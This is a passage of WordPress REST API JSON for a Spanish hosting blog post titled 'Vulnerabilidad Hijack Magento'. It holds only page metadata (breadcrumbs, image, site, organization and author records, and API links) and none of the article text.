financieros.","breadcrumb":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage","url":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg","contentUrl":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg","width":637,"height":237},{"@type":"BreadcrumbList","@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/www.profesionalhosting.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Vulnerabilidad Hijack Magento"}]},{"@type":"WebSite","@id":"https:\/\/www.profesionalhosting.com\/blog\/#website","url":"https:\/\/www.profesionalhosting.com\/blog\/","name":"ProfesionalHosting | blog","description":"Blog sobre Hosting, Ecommerce, PrestaShop, Magento, WordPress, Joomla y Drupal.","publisher":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.profesionalhosting.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Organization","@id":"https:\/\/www.profesionalhosting.com\/blog\/#organization","name":"Profesional Hosting","url":"https:\/\/www.profesionalhosting.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2023\/04\/2x-logo.png","contentUrl":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2023\/04\/2x-logo.png","width":360,"height":82,"caption":"Profesional Hosting"},"image":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/profesionalhosting","https:\/\/x.com\/hostingyvps","https:\/\/www.youtube.com\/channel\/UCGm-8k07wzutzxT6Upvw5tQ"]},{"@type":"Person","@id":"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/c283bfed4f721dbdec6cea7dcf671e9a","name":"Antonio Torres","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/87d127f5d7b133a346b65366703c0acb?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/87d127f5d7b133a346b65366703c0acb?s=96&d=mm&r=g","caption":"Antonio Torres"},"description":"Director t\u00e9cnico de soporte especializado en Profesionalhosting | Experto en WordPress, Ecommerce y Prestashop.","sameAs":["https:\/\/x.com\/atowersg"]}]}},"_links":{"self":[{"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/posts\/529"}],"collection":[{"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/comments?post=529"}],"version-history":[{"count":0,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/posts\/529\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/media\/534"}],"wp:attachment":[{"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/media?parent=529"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/categories?post=529"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.profesionalhosting.com\/blog\/wp-json\/wp\/v2\/tags?post=529"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}